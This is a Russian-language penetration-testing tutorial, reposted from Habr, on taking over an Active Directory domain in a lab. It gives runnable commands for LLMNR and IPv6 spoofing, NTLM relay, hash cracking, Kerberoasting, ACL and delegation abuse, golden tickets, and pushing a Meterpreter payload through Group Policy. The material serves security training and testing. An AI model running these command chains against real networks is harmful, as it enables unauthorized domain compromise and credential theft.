- PVSM.RU - https://www.pvsm.ru -
При проведении тестирований на проникновение мы довольно часто выявляем ошибки в конфигурации домена. Хотя многим это не кажется критичным, в реальности же такие неточности могут стать причиной компрометации всего домена.
К примеру, по итогам пентеста в одной компании мы пришли к выводу, что все доступные машины в домене были не ниже Windows10/Windows Server2016, и на них стояли все самые свежие патчи. Сеть регулярно сканировалась, машины хардились. Все пользователи сидели через токены и не знали свои «20-символьные пароли». Вроде все хорошо, но протокол IPv6 не был отключен. Схема захвата домена выглядела так:
mitm6 -> ntlmrelay -> атака через делегирование -> получен хеш пароля локального администратора -> получен хеш пароля администратора домена.
К сожалению, такие популярные сертификации, как OSCP, GPEN или CEH, не учат проведению тестирования на проникновение Active Directory.
В этой статье мы рассмотрим несколько видов атак на Active Directory, которые мы проводили в рамках пентестов, а также используемые инструменты. Это ни в коем случае нельзя считать полным пособием по всем видам атак и инструментам, их действительно очень много, и это тяжело уместить в рамках одной статьи.
Итак, для демонстрации используем ноутбук на Kali Linux 2019 и поднятые на нем виртуальные хосты на VMware. Представим, что главная цель пентеста — получить права администратора домена, а в качестве вводных данных у нас есть доступ в корпоративную сеть компании по ethernet. Чтобы начать тестировать домен, нам понадобится учетная запись.
Рассмотрим два самых распространенных, по моему мнению, метода, позволяющих получить логин и пароль доменной учетной записи: LLMNR/NBNS-спуфинг и атаку на протокол IPv6.
Про эту атаку было сказано довольно много. Суть в том, что клиент рассылает мультикастные LLMNR- и широковещательные NBT-NS-запросы для разрешения имен хостов, если сделать это по DNS не удалось. На такие запросы может ответить любой пользователь сети.
Инструменты, которые позволяют провести атаку:
При успешной атаке мы сможем получить NetNTLM-хеш пароля пользователя.
Responder -I eth0 -wrf
Полученный хеш мы можем сбрутить или выполнить NTLM-релей.
Если в корпоративной сети используется IPv6, мы можем ответить на запросы DHCPv6 и установить в качестве DNS-сервера на атакуемой машине свой IP-адрес. Так как IPv6 имеет приоритет над IPv4, DNS-запросы клиента будут отправлены на наш адрес. Подробнее об атаке можно прочитать тут [3].
Инструменты:
Запуск утилиты mitm6
mitm6 -i vmnet0
После выполнения атаки на атакуемой рабочей станции появится новый DNS-сервер с нашим IPv6-адресом.
Атакуемые машины будут пытаться аутентифицироваться на нашей машине. Подняв SMB-сервер с помощью утилиты smbserver.py [5], мы сможем получить хеши паролей пользователей.
smbserver.py -smb2support SMB /root/SMB
Следующим шагом мы можем либо выполнить криптографическую атаку на хеши паролей и получить пароль в открытом виде, либо выполнить NTLM relay.
Тут все просто: берем хеш пароля, hashcat
hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt
и брутим. Пароль либо удастся получить, либо нет :)
Пароль пользователя Harvey был восстановлен — Pbvf2019
Также мы можем выполнить NTLM-релей. Предварительно убедившись, что не используется SMB Signing, [6] применяем утилиту ntlmrelayx.py [7] и проводим атаку. Здесь опять же, в зависимости от цели, выбираем нужный нам вектор. Рассмотрим некоторые из них.
Выполним атаку с ключом i.
ntlmrelayx.py -t 192.168.1.5 -l loot -i
При удачной атаке мы сможем подключиться к удаленной машине с помощью netcat.
В данном случае выполняем релей на контроллер домена.
ntlmrelayx.py -t ldap://192.168.1.2
При успешном проведении атаки получим подробную информацию о домене:
Каждый пользователь по умолчанию имеет возможность создать до 10 компьютеров в домене. Чтобы создать компьютер, нужно выполнить релей на контроллер домена по протоколу ldaps. Создание пользователей и компьютеров по незашифрованному соединению ldap запрещено. Также не удастся создать учетную запись, если будет перехвачено соединение по SMB.
ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer
Как видно на рисунке, нам удалось создать компьютер RORYOTGS$.
При создании более 10 компьютеров получим ошибку следующего вида:
Используя учетные данные компьютера RORYOTGS$, мы можем выполнять легитимные запросы к контроллеру домена.
Итак, у нас есть учетная запись доменного пользователя либо компьютера. Для продолжения тестирования нам нужно собрать доступную информацию для дальнейшего планирования атак. Рассмотрим некоторые инструменты, которые помогут нам определиться с поиском наиболее критичных систем, спланировать и выполнить атаку.
Один из самых важных инструментов, который используется практически во всех внутренних тестированиях на проникновение. Проект активно развивается и дополняется новыми фичами.
В качестве сборщиков информации выступают SharpHound.exe [8] (требуется установленный .NET v3.5) и написанный на powershell скрипт SharpHound.ps1 [9]. Также есть сборщик, написанный сторонним разработчиком на Python, — Bloodhound-python [10].
В качестве базы данных используется Neo4j [11], имеющая свой синтаксис, что позволяет выполнять кастомные запросы. Подробнее ознакомиться с синтаксисом можно тут [12].
Также разработчики предоставляют скрипт DBCreator.py [13], который позволяет сгенерировать случайную базу для проведения тестов.
Neo4j имеет REST API. Существуют различные утилиты, которые могут подключаться к базе и использовать полученные данные:
Рассмотрим некоторые из них.
CypherDog [14] — оболочка BloodHound, написанная на powershell. Включает в себя 27 командлетов.
Cmdlet | Synopsis |
Get-BloodHoundCmdlet | BloodHound RTFM — Get Cmdlet |
Send-BloodHoundPost | BloodHound POST — Cypher to REST API |
Get-BloodHoundNode | BloodHound Node — Get Node |
Search-BloodHoundNode | BloodHound Node — Search Node |
New-BloodHoundNode | BloodHound Node — Create Node |
Set-BloodHoundNode | BloodHound Node — Update Node |
Remove-BloodHoundNode | BloodHound Node — Delete Node |
Get-BloodHoundNodeList | BloodHound Node — Get List |
Get-BloodHoundNodeHighValue | BloodHound Node — Get HighValue |
Get-BloodHoundNodeOwned | BloodHound Node — Get Owned |
Get-BloodHoundNodeNote | BloodHound Node — Get Note |
Set-BloodHoundNodeNote | BloodHound Node — Set Notes |
Get-BloodHoundBlacklist | BloodHound Node — Get Blacklist |
Set-BloodHoundBlacklist | BloodHound Node — Set Blacklist |
Remove-BloodHoundBlacklist | BloodHound Node — Remove Blacklist |
Get-BloodHoundEdge | BloodHound Edge — Get Target |
Get-BloodHoundEdgeReverse | BloodHound Edge — Get Source |
Get-BloodHoundEdgeCrossDomain | BloodHound Edge — Get CrossDomain |
Get-BloodHoundEdgeCount | BloodHound Edge — Get Count |
Get-BloodHoundEdgeInfo | BloodHound Edge — Get Info |
New-BloodHoundEdge | BloodHound Edge — Create Edge |
Remove-BloodHoundEdge | BloodHound Edge — Delete Edge |
Get-BloodHoundPathShort | BloodHound Path — Get Shortest |
Get-BloodHoundPathAny | BloodHound Path — Get Any |
Get-BloodHoundPathCost | BloodHound Path — Get Cost |
Get-BloodHoundPathCheap | BloodHound Path — Get Cheapest |
Get-BloodHoundWald0IO | BloodHound Path — Get Wald0 Index |
Команда | Описание |
Search-BloodHoundNode -Type Computer -Property unconstraineddelegation -Value $true | select name, Serviceprincipalnames, unconstraineddelegation, operatingsystem | Format-List | Поиск компьютеров с неограниченным делегированием Kerberos |
Edge user ADMINISTRATOR@JET.LAB MemberOf Group | Вывести группы пользователя |
What Computer HasSession User ADMINISTRATOR@JET.LAB | Вывести компьютеры, где есть сессия пользователя Administrator |
Path user Computer HARVEY@JET.LAB DC1.JET.LAB | Вывести путь от пользователя до контроллера домена |
what user MemberOf Group 'DOMAIN ADMINS@JET.LAB' * | list logon | Вывести активные сессии пользователей, которые состоят в группе DOMAIN Admins |
what user MemberOf Group 'DOMAIN ADMINS@JET.LAB' | list logon |? operat* -match 7 | list AdminTo | select name | Вывести пользователей, имеющих права администратора на рабочих станциях под управлением Windows 7, на которых имеется сессия пользователей из группы администраторов домена |
По умолчанию для доступа к базе neo4j требуется аутентификация. Отключить аутентификацию можно, отредактировав файл neo4j.conf. В нем необходимо раскомментировать строку dbms.security.auth_enabled=false. Но так делать не рекомендуется, поскольку любой пользователь сможет подключиться к базе по адресу 127.0.0.1:7474 (конфигурация по умолчанию). Более подробно об аутентификации и авторизации в neo4j можно прочитать тут. [18]
GoFetch [15] использует граф, созданный в bloodhound для планирования и выполнения атаки.
Запуск атаки
.Invoke-GoFetch.ps1 -PathToGraph .pathFromBloodHound.json
gt-generator [17], используя данные BloodHound, упрощает создание golden-тикетов. Для получения golden-тикета необходимы только имя пользователя и хеш пароля пользователя KRBTGT.
python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH>
PowerView [19] — Powershell-фреймворк, входящий в состав PowerSploit [20]. Ниже приведен список некоторых командлетов, которые помогут при сборе информации о домене.
Get-NetDomain -Domain jet.lab | Get the current domain |
Get-DomainSID | Get the current domain SID |
Get-NetDomainController -Domain jet.lab | Get domain controllers for a domain |
Get-NetUser -Domain jet.lab -UserName labuser | Get users of a domain |
Get-NetGroup *group_name* | Get all the groups in the current domain |
Get-NetGroupMember -GroupName «Domain Admins» | Get all the members of the Domain Admins group |
Get-NetGroup -UserName «domain_user» | Get the group membership for a user |
Get-NetComputer -FullData | Get all computers of the domain |
Find-LocalAdminAccess -Verbose | Find all machines on the current domain where the current user has local admin access |
Get-NetSession -ComputerName dc02.jet.lab | List Sessions on a particular computer |
Invoke-UserHunter -CheckAccess | Find computers where a domain admin is logged in and current user has access |
При использовании интегрированного DNS в Active Directory любой пользователь домена может запросить все DNS-записи, установленные по умолчанию.
Используемый инструмент: Adidnsdump. [21]
Теперь, имея информацию о домене, мы переходим к следующей фазе тестирования на проникновение — непосредственно к атаке. Рассмотрим 4 потенциальных вектора:
Этот вид атаки нацелен на протокол Kerberos. Можно выделить 2 вида атаки типа Roasting:
Впервые атака была продемонстрирована пользователем timmedin [22] на DerbyCon в 2014 году (video [23]). При успешном проведении атаки мы сможем перебрать пароль сервисной УЗ в офлайн-режиме, не боясь блокировки пользователя. Довольно часто у сервисных учетных записей бывают избыточные права и бессрочный пароль, что может позволить нам получить права администратора домена.
Чтобы понять суть атаки, рассмотрим, как работает Kerberos.
1. Пароль преобразуется в NTLM-хеш, временная метка шифруется хешем и отправляется на KDC в качестве аутентификатора в запросе TGT-тикета (AS-REQ). Контроллер домена (KDC) проверяет информацию пользователя и создает TGT-тикет.
2. TGT-тикет шифруется, подписывается и отправляется пользователю (AS-REP). Только служба Kerberos (KRBTGT) может открыть и прочитать данные из TGT-тикета.
3. Пользователь представляет TGT-тикет контроллеру домена при запросе TGS-тикета (TGS-REQ). Контроллер домена открывает TGT-тикет и проверяет контрольную сумму PAC.
4. TGS-тикет шифруется NTLM-хешем пароля сервисной учетной записи и отправляется пользователю (TGS-REP).
5. Пользователь предоставляет TGS-тикет компьютеру, на котором запущена служба (AP-REQ). Служба открывает TGS-тикет с помощью своего NTLM-хеша.
6. Доступ к сервису предоставлен (AS-REP).
Получив TGS-тикет (TGS-REP), мы можем подобрать пароль сервисной учетной записи в офлайн-режиме. Например, с помощью hashcat.
Согласно RFC396 [24], для протокола Kerberos зарезервировано 20 типов шифрования. Типы шифрования, которые используются сейчас, в порядке приоритета:
В последних версиях Windows по умолчанию используется шифрование AES. Но для совместимости с системами ниже Windows Vista и Windows 2008 server необходима поддержка алгоритма RC4. При проведении атаки всегда сначала производится попытка получения TGS-тикета с шифрованием RC4_HMAC_MD5, который позволяет быстрее перебирать пароли, а затем с остальными. Harmj0y [25] провел интересное исследование [26] и выяснил, что если в свойствах пользователя указать поддержку шифрования только Kerberos AES128 и AES256, Kerberos-тикет все равно выдается с шифрованием RC4_HMAC_MD5.
Отключать RC4_HMAC_MD5 необходимо на уровне домена. [27]
Атака Kerberoasting имеет 2 подхода.
1. Старый метод. TGS-тикеты запрашиваются через setspn.exe или .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken класса Powershell, извлекаются из памяти с помощью mimikatz, далее конвертируются в нужный формат (John, Hashcat) и перебираются.
2. Новый метод. machosec [28] заметил, что класс KerberosRequestorSecurityToken [29] имеет метод GetRequest [30], который извлекает зашифрованную часть с паролем из TGS-тикета.
Инструменты для проведения атаки:
1) Поиск SPN-записей
2) Запрос TGS-тикета
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>”
Посмотреть текущие закешированные тикеты можно командой klist.
3) Экспорт тикетов:
Пример автоматизированного выполнения всех 3-ех пунктов:
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt
Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl
GetUserSPNs.py -request jet.labuser:Password
Уязвимость заключается в отключенной настройке предварительной аутентификации Kerberos. В этом случае мы можем отправить AS-REQ-запросы для пользователя, у которого отключена предварительная аутентификация Kerberos, и получить зашифрованную часть с паролем.
Уязвимость встречается редко, так как отключение предварительной аутентификации — это не настройка по умолчанию.
Поиск пользователей с отключенной предаутентификацией Kerberos:
Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose
get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
Получение зашифрованной части:
Invoke-ASREPROast | fl
ACL в контексте домена — набор правил, которые определяют права доступа объектов в AD. ACL может быть настроен как для отдельного объекта (например, учетная запись пользователя), так и для организационной единицы, например OU. При настройке ACL на OU все объекты внутри OU будут наследовать ACL. В списках ACL содержатся записи управления доступом (ACE), которые определяют способ взаимодействия SID с объектом Aсtive Directory.
К примеру, у нас есть три группы: А, Б, С, — где группа С является членом группы Б, а группа Б является членом группы А. При добавлении пользователя guest в группу С пользователь guest будет не только членом группы С, но и косвенным членом групп Б и А. При добавлении доступа к объекту домена группе А пользователь guest тоже будет иметь доступ к этому объекту. В ситуации, когда пользователь является прямым членом только одной группы, а эта группа является косвенным членом других 50 групп, легко потерять связь унаследованных разрешений.
Получить ACL, связанные с объектом, можно, выполнив следующую команду
Get-ObjectACL -Samaccountname Guest -ResolveGUIDs
Для эксплуатации ошибок в конфигурировании ACL можно использовать инструмент
Invoke-ACLPwn [41]. Powershell-скрипт собирает информацию обо всех ACL в домене с помощью сборщика BloodHound — SharpHound и выстраивает цепочку для получения разрешения writeDACL. После того, как цепочка построена, скрипт выполняет эксплуатацию каждого шага из цепочки. Порядок действия скрипта:
Скрипт нацелен только на использование права writeDACL. Также зломышленнику могут быть интересны следующие права доступа:
Эксплуатация:
Запуск с машины, которая находится в домене
./Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe
Запуск с машины, которая не находится в домене
/Invoke-ACL.ps1 -SharpHoundLocation .sharphound.exe -mimiKatzLocation .mimikatz.exe -Username 'domainuser' -Domain ‘fqdn_of_target_domain’ -Password ‘Pass’
Делегирование полномочий Kerberos позволяет повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере.
Делегирование Kerberos бывает трех видов:
В оснастке Active Directory включенная функция неограниченного делегирования выглядит следующим образом:
Для наглядности рассмотрим, как происходит неограниченное делегирование на схеме.
Главная опасность неограниченного делегирования в том, что при компрометации машины с неограниченным делегированием злоумышленник сможет получить TGT-тикеты пользователей из этой машины и доступ к любой системе в домене от имени этих пользователей.
Поиск машин в домене с неограниченным делегированием:
Get-NetComputer -unconstrained
Get-Adcomputer -Filter {TrustedForDelegation -eq $True}
.
Экспорт тикетов:
kerberos::ptt C:tickets.
Режим ограниченного делегирования позволяет получить доступ только к разрешенным сервисам и на определенной машине. В оснастке Active Directory выглядит следующим образом:
При ограниченном делегировании используются 2 расширения протокола Kerberos:
S4U2Self [43] используется в случае, когда клиент аутентифицируется не по протоколу Kerberos.
При неограниченном делегировании для идентификации пользователя используется TGT, в этом случае расширение S4U использует структуру PA-FOR-USER [44] в качестве нового типа в поле данных «padata»/pre-authentication. Процесс S4U2self разрешается, только если запрашивающий пользователь имеет поле TRUSTED_TO_AUTH_FOR_DELEGATION, установленное в его userAccountControl.
S4U2Proxy [45] позволяет учетной записи службы использовать перенаправляемый тикет, полученный в процессе S4U2proxy, для запроса TGS-тикета для доступа к разрешенным сервисам (msds-allowtodelegateto). KDC проверяет, указан ли запрашиваемый сервис в поле msds-allowtodelegateto запрашивающего пользователя, и выдает билет, если проверка прошла успешно. Таким образом, делегирование «ограничено» конкретными целевыми сервисами.
Поиск компьютеров и пользователей в домене с ограниченным делегированием можно выполнить с помощью PowerView [33].
Поиск компьютеров с неограниченным делегированием
Get-DomainComputer -TrustedtoAuth
Поиск пользователей с ограниченным делегированием
Get-DomainUser -TrustedtoAuth
Для проведения атаки нам необходим пароль в открытом виде, NTLM-хеш пароля либо TGT-тикет.
Как и в обычном делегировании, используются расширения S4U. Так как делегирование на основе ресурсов — это в первую очередь ограниченное делегирование, то и здесь доступны атаки, актуальные для обычного ограниченного делегирования. Отличие только в том, что в простом ограниченном делегировании сервис А должен иметь атрибут msDS-AllowedToDelegateTo [46]=ServiceB, а тут сервис B должен иметь атрибут msDS-AllowedToActOnBehalfOfOtherIdentity [47]=Service A.
Это свойство позволяет провести еще одну атаку [48], опубликованную пользователем harmj0y [25]. Для проведения атаки необходимы права на изменение параметра PrincipalsAllowedToDelegateToAccount, который задает атрибут msds-AllowedToActOnBehalfOfOtherIdentity, содержащий список управления доступом (ACL). В отличие от просто ограниченного делегирования, нам не нужны права администратора домена, чтобы изменить атрибут msds-AllowedToActOnBehalfOfOtherIdentity. Узнать, кто имеет права на редактирование атрибута, можно следующим образом:
(Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview
Итак, чтобы провести атаку, выполняем mitm6
mitm6 -I vmnet0
Запускаем ntlmrelayx с опцией --delegate-access
ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access
В результате атаки создается компьютер ZGXTPVYX$ с правами на делегирование компьютера Windows7.
$x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
Хороший доклад про делегирование был представлен [49] на PHDays Егором Подмоковым.
Group Policy Objects [50] — инструмент, позволяющий администраторам эффективно управлять доменом. Но бывает так, что пользователям назначаются излишние права, в том числе и на изменение политик GPO.
Для демонстрации примера добавим пользователю Ragnar права на редактирование политики «Default Domain Controllers Policy» (в реальной жизни права для этой политики выдаются только администраторам домена, но суть атаки не меняется; в случае другой политики меняются лишь подконтрольные хосты).
Выполним перечисление прав на всех GPOs в домене, используя PowerView [19].
Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Пользователь Ragnar имеет права на изменение GPO, имеющее GUID — 6AC1786C-016F-11D2-945F-00C04FB984F9. Чтобы определить, к каким хостам в домене применяется данная политика, выполним следующую команду
Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}
Получили хост dc1.jet.lab.
Зная конкретную политику, которую может редактировать пользователь Ragnar, и хосты, к которым применяется эта политика, мы можем выполнить различные действия на хосте dc1.jet.lab.
Computer ConfigurationPreferencesControl Panel SettingsFolder Options | Create/alter file type associations, register DDE actions with those associations |
Computer ConfigurationPreferencesControl Panel SettingsLocal Users and Groups | Add new local admin account |
Computer ConfigurationPreferencesControl Panel SettingsScheduled Tasks | Deploy a new evil scheduled task (ie: PowerShell download cradle) |
Computer ConfigurationPreferencesControl Panel SettingsServices | Create and configure new evil services |
Computer ConfigurationPreferencesWindows SettingsFiles | Affected computers will download a file from the domain controller |
Computer ConfigurationPreferencesWindows SettingsINI Files | Update existing INI files |
Computer ConfigurationPreferencesWindows SettingsRegistry | Update specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways |
Computer ConfigurationPreferencesWindows SettingsShortcuts | Deploy a new evil shortcut |
Computer ConfigurationPoliciesSoftware SettingsSoftware installation | Deploy an evil MSI. The MSI must be available to the GP client via a network share |
Computer ConfigurationPoliciesWindows SettingsScripts (startup/shutdown) | Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments |
Computer ConfigurationPoliciesWindows SettingsSecurity SettingsLocal PoliciesAudit Policy | Modify local audit settings. Useful for evading detection |
Computer ConfigurationPoliciesWindows SettingsSecurity SettingsLocal PoliciesUser Rights Assignment | Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it |
Computer ConfigurationPoliciesWindows SettingsSecurity SettingsRegistry | Alter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system |
Computer ConfigurationPoliciesWindows SettingsSecurity SettingsWindows Firewall | Manage the Windows firewall. Open up ports if they’re blocked |
Computer ConfigurationPreferencesWindows SettingsEnvironment | Add UNC path for DLL side loading |
Computer ConfigurationPreferencesWindows SettingsFiles | Copy a file from a remote UNC path |
Инструменты New-GPOImmediateTask [51] и SharpGPOAbuse [52] позволяют:
Для примера добавим задачу в планировщике задач для получения сессии Meterpreter:
New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force
После выполнения появляется запланированная задача test
И появляется Meterpreter-сессия
Чтобы удалить запланированную задачу, нужно выполнить следующую команду:
New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy
В статье мы рассмотрели лишь некоторые векторы атак. Такие виды, как Enumerate Accounts и Password spray [53], MS14-068 [54], связка Printer Bug [55] и Unconstrained Delegation, атаки на Exchange (Ruler [56], PrivExchange [57], ExchangeRelayX [58]) могут значительно расширить область проведения атаки.
Техники атак и методы закрепления (Golden ticket, Silver ticket, Pass-The-Hash, Over pass the hash, SID History, DC Shadow и др.) постоянно меняются, а команде защиты нужно всегда быть готовой к новым видам атак.
Автор: NBagger
Источник [59]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/321548
Ссылки в тексте:
[1] Responder: https://github.com/SpiderLabs/Responder
[2] Inveight: https://github.com/Kevin-Robertson/Inveigh
[3] тут: https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6
[4] mitm6: https://github.com/fox-it/mitm6
[5] smbserver.py: https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py
[6] SMB Signing,: https://technet.microsoft.com/en-us/library/cc180803.aspx
[7] ntlmrelayx.py: https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
[8] SharpHound.exe: https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
[9] SharpHound.ps1: https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1
[10] Bloodhound-python: https://github.com/fox-it/BloodHound.py
[11] Neo4j: https://neo4j.com
[12] тут: https://neo4j.com/docs/cypher-refcard/current
[13] DBCreator.py: https://github.com/BloodHoundAD/BloodHound-Tools/blob/master/DBCreator/DBCreator.py
[14] CypherDog: https://github.com/SadProcessor/CypherDog
[15] GoFetch: https://github.com/GoFetchAD/GoFetch
[16] ANGRYPUPPY: https://github.com/vysecurity/ANGRYPUPPY
[17] gt-generator: https://github.com/audrummer15/gt-generator
[18] тут.: https://neo4j.com/docs/operations-manual/current/authentication-authorization
[19] PowerView: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
[20] PowerSploit: https://github.com/PowerShellMafia/PowerSploit
[21] Adidnsdump.: https://github.com/dirkjanm/adidnsdump
[22] timmedin: https://twitter.com/timmedin?lang=ru
[23] video: https://www.youtube.com/watch?v=PUyhlN-E5MU&feature=youtu.be
[24] RFC396: https://tools.ietf.org/html/rfc3961
[25] Harmj0y: https://twitter.com/harmj0y
[26] исследование: https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited
[27] домена.: https://myotherpcisacloud.com/post/disable-rc4hmac-and-others-in-active-directory
[28] machosec: https://twitter.com/machosec
[29] KerberosRequestorSecurityToken: https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken(v=vs.110).aspx
[30] GetRequest: https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx
[31] GetUserSPN.ps1: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
[32] Find-PSServiceAccounts.ps1: https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts
[33] Request-SPNTicket: https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[34] Invoke-Mimikatz: https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1
[35] Mimikatz: https://github.com/gentilkiwi/mimikatz
[36] Invioke-Kerberoast: https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
[37] tgsrepack.py: https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
[38] RiskySPN: https://github.com/cyberark/RiskySPN
[39] GetUserSPNs.py: https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
[40] ASREPRoast: https://github.com/HarmJ0y/ASREPRoast
[41] Invoke-ACLPwn: https://github.com/fox-it/Invoke-ACLPwn
[42] aclpwn.py: https://github.com/fox-it/aclpwn.py
[43] S4U2Self: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13
[44] PA-FOR-USER: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a
[45] S4U2Proxy: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a
[46] msDS-AllowedToDelegateTo: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/86261ca1-154c-41fb-8e5f-c6446e77daaa
[47] msDS-AllowedToActOnBehalfOfOtherIdentity: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/cea4ac11-a4b2-4f2d-84cc-aebb4a4ad405
[48] атаку: https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
[49] представлен: https://static.ptsecurity.com/phdays/presentations/phdays-9-abusing-delegation-mechanisms-for-domain-dominance.pdf
[50] Group Policy Objects: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpod/b724bd91-e224-4524-b752-5f810a0cc071
[51] New-GPOImmediateTask: https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907-L6122
[52] SharpGPOAbuse: https://github.com/mwrlabs/SharpGPOAbuse
[53] Enumerate Accounts и Password spray: https://github.com/ropnop/kerbrute
[54] MS14-068: https://github.com/gentilkiwi/kekeo/wiki/ms14068
[55] Printer Bug: https://github.com/leechristensen/SpoolSample
[56] Ruler: https://github.com/sensepost/ruler
[57] PrivExchange: https://github.com/dirkjanm/PrivExchange
[58] ExchangeRelayX: https://github.com/quickbreach/ExchangeRelayX
[59] Источник: https://habr.com/ru/post/449278/?utm_source=habrahabr&utm_medium=rss&utm_campaign=449278
Нажмите здесь для печати.